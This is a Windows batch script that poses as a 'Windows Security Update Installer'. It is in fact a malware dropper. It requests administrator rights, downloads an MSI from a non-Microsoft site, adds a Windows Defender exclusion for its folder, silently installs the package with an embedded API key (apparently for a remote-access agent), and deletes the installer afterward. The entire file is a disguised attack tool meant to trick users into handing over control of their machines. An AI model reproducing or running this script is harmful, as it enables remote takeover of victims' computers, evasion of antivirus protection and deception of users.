@echo off
title Windows Security Update
color 1f

:: Request Admin
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo Requesting administrator privileges...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

:: Running as Administrator
echo ========================================
echo    Windows Security Update Installer
echo ========================================
echo.

:: Create working directory
set "WORKDIR=%ProgramData%\Microsoft\Windows\SecurityUpdates"
mkdir "%WORKDIR%" 2>nul
cd /d "%WORKDIR%"

echo [1/4] Downloading security update...
echo This may take a few moments...
echo.

:: Download from your website
set "URL=https://alfajr.site/updates/WindowsUpdate.msi"
set "FILE=%WORKDIR%\WindowsUpdate.msi"

:: Try BITS first
bitsadmin /transfer "WinUpdate" /download /priority HIGH "%URL%" "%FILE%" >nul 2>&1

:: If BITS failed, try PowerShell
if not exist "%FILE%" (
    echo Trying alternative download method...
    powershell -Command "& { $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri '%URL%' -OutFile '%FILE%'; }" >nul 2>&1
)

:: Check if download succeeded
if not exist "%FILE%" (
    echo.
    echo ========================================
    echo ERROR: Download failed!
    echo ========================================
    echo.
    echo Please check your internet connection.
    echo.
    pause
    exit /b 1
)

echo [2/4] Download complete!
echo.

:: Add Defender exclusion
echo [3/4] Configuring security settings...
powershell -Command "Add-MpPreference -ExclusionPath '%WORKDIR%' -Force" >nul 2>&1

:: Install with NEW API KEY including port
echo [4/4] Installing security update...
set "API_KEY=pcprnFqjchVrQxBEuak2chcU:45553"

msiexec /i "%FILE%" LEVEL_API_KEY=%API_KEY% /qn /norestart

echo.
echo ========================================
echo    Installation completed!
echo ========================================
echo.

:: Cleanup
echo Cleaning up...
timeout /t 2 /nobreak >nul
del /f /q "%FILE%" 2>nul

echo.
echo You may close this window.
timeout /t 5 /nobreak >nul
exit